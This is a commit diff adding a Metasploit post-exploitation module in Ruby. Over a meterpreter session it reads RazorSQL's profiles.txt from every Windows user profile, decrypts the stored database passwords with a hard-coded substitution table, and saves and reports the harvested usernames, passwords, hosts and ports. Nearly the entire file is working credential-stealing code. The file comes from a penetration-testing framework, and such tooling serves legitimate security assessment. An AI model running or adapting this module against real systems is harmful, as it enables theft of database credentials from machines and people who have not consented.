Add Windows Gather RazorSQL cred collector (Feature #6117)
parent
8dc85f1cc5
commit
829d96ffbe
|
@ -0,0 +1,157 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather RazorSQL credentials',
|
||||
'Description' => %q{
|
||||
This module stores username, password, type, host, port, database (and name)
|
||||
collected from profiles.txt of RazorSQL.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Paul Rascagneres <rascagneres[at]itrust.lu>',
|
||||
'sinn3r' #Reporting, file parser
|
||||
],
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Checking All Users...")
|
||||
creds_tbl = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'RazorSQL User Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
'Username',
|
||||
'Password',
|
||||
'Type',
|
||||
'Host',
|
||||
'Port',
|
||||
'Database Name',
|
||||
'Database'
|
||||
]
|
||||
)
|
||||
|
||||
grab_user_profiles().each do |user|
|
||||
next if user['ProfileDir'] == nil
|
||||
file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt"
|
||||
content = get_content(file)
|
||||
if not content.nil? or not content.empty?
|
||||
creds = parse_content(creds_tbl, content, user['UserName'])
|
||||
creds.each do |c|
|
||||
creds_tbl << c
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if not creds_tbl.rows.empty?
|
||||
path = store_loot(
|
||||
'razor.user.creds',
|
||||
'text/csv',
|
||||
session,
|
||||
creds_tbl.to_s,
|
||||
'razor_user_creds.txt',
|
||||
'RazorSQL User Credentials'
|
||||
)
|
||||
print_status("User credentials stored in: #{path}")
|
||||
print_line(creds_tbl.to_s)
|
||||
else
|
||||
print_error("No data collected")
|
||||
end
|
||||
end
|
||||
|
||||
def get_content(file)
|
||||
found = session.fs.file.stat(file) rescue nil
|
||||
return if not found
|
||||
content=''
|
||||
infile = session.fs.file.new(file, "rb")
|
||||
until infile.eof?
|
||||
content << infile.read
|
||||
end
|
||||
return content
|
||||
end
|
||||
|
||||
def parse_content(table, content, username)
|
||||
creds = []
|
||||
print_line("Account: #{username}\n")
|
||||
content = content.split(/\(\(Z~\]/)
|
||||
content.each do |db|
|
||||
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
|
||||
user = (db.scan(/user=(.*)/).flatten[0] || '').strip
|
||||
type = (db.scan(/type=(.*)/).flatten[0] || '').strip
|
||||
host = (db.scan(/host=(.*)/).flatten[0] || '').strip
|
||||
port = (db.scan(/port=(.*)/).flatten[0] || '').strip
|
||||
dbname = (db.scan(/databaseName=(.*)/).flatten[0] || '').strip
|
||||
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
|
||||
|
||||
# Decrypt if there's a password
|
||||
pass = decrypt(pass) if not pass.empty?
|
||||
|
||||
# Store data
|
||||
creds << [user, pass, type, host, port, dbname, database]
|
||||
|
||||
# Reort auth info while dumping data
|
||||
report_auth_info(
|
||||
:host => session,
|
||||
:port => port,
|
||||
:sname => 'razorsql',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:type => 'password'
|
||||
)
|
||||
end
|
||||
|
||||
return creds
|
||||
end
|
||||
|
||||
def decrypt( encrypted_password )
|
||||
magic_key= {
|
||||
"/" => "a" , "<" => "b" , ">" => "c" , ":" => "d" , "X" => "e" ,
|
||||
"c" => "f" , "W" => "g" , "d" => "h" , "V" => "i" , "e" => "j" ,
|
||||
"f" => "k" , "g" => "l" , "U" => "m" , "T" => "n" , "S" => "o" ,
|
||||
"n" => "p" , "m" => "q" , "l" => "r" , "k" => "s" , "j" => "t" ,
|
||||
"i" => "u" , "h" => "v" , "P" => "w" , "Q" => "x" , "R" => "y" ,
|
||||
"o" => "z" , "p" => "A" , "q" => "B" , "r" => "C" , "t" => "D" ,
|
||||
"s" => "E" , "L" => "F" , "N" => "G" , "M" => "H" , "O" => "I" ,
|
||||
"N" => "J" , "J" => "K" , "v" => "L" , "u" => "M" , "z" => "N" ,
|
||||
"y" => "O" , "w" => "P" , "x" => "Q" , "G" => "R" , "H" => "S" ,
|
||||
"A" => "T" , "B" => "U" , "D" => "V" , "C" => "W" , "E" => "X" ,
|
||||
"F" => "Y" , "I" => "Z" , "?" => "1" , "3" => "2" , "4" => "3" ,
|
||||
"5" => "4" , "6" => "5" , "7" => "6" , "8" => "7" , "9" => "8" ,
|
||||
"2" => "9" , "." => "0" , "+" => "+" , "\"" => "\"" , "*" => "*" ,
|
||||
"%" => "%" , "&" => "&" , "Z" => "/" , "(" => "(" , ")" => ")" ,
|
||||
"=" => "=" , "," => "?" , "!" => "!" , "$" => "$" , "-" => "-" ,
|
||||
"_" => "_" , "b" => ":" , "0" => "." , ";" => ";" , "1" => "," ,
|
||||
"\\" => "\\" , "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" ,
|
||||
"{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" ,
|
||||
"`" => "`"
|
||||
}
|
||||
password=''
|
||||
for letter in encrypted_password.chomp.each_char
|
||||
password << magic_key[letter]
|
||||
end
|
||||
return password
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
http://www.razorsql.com/download.html
|
||||
Tested on: v5.6.2 (win32)
|
||||
=end
|
Loading…
Reference in New Issue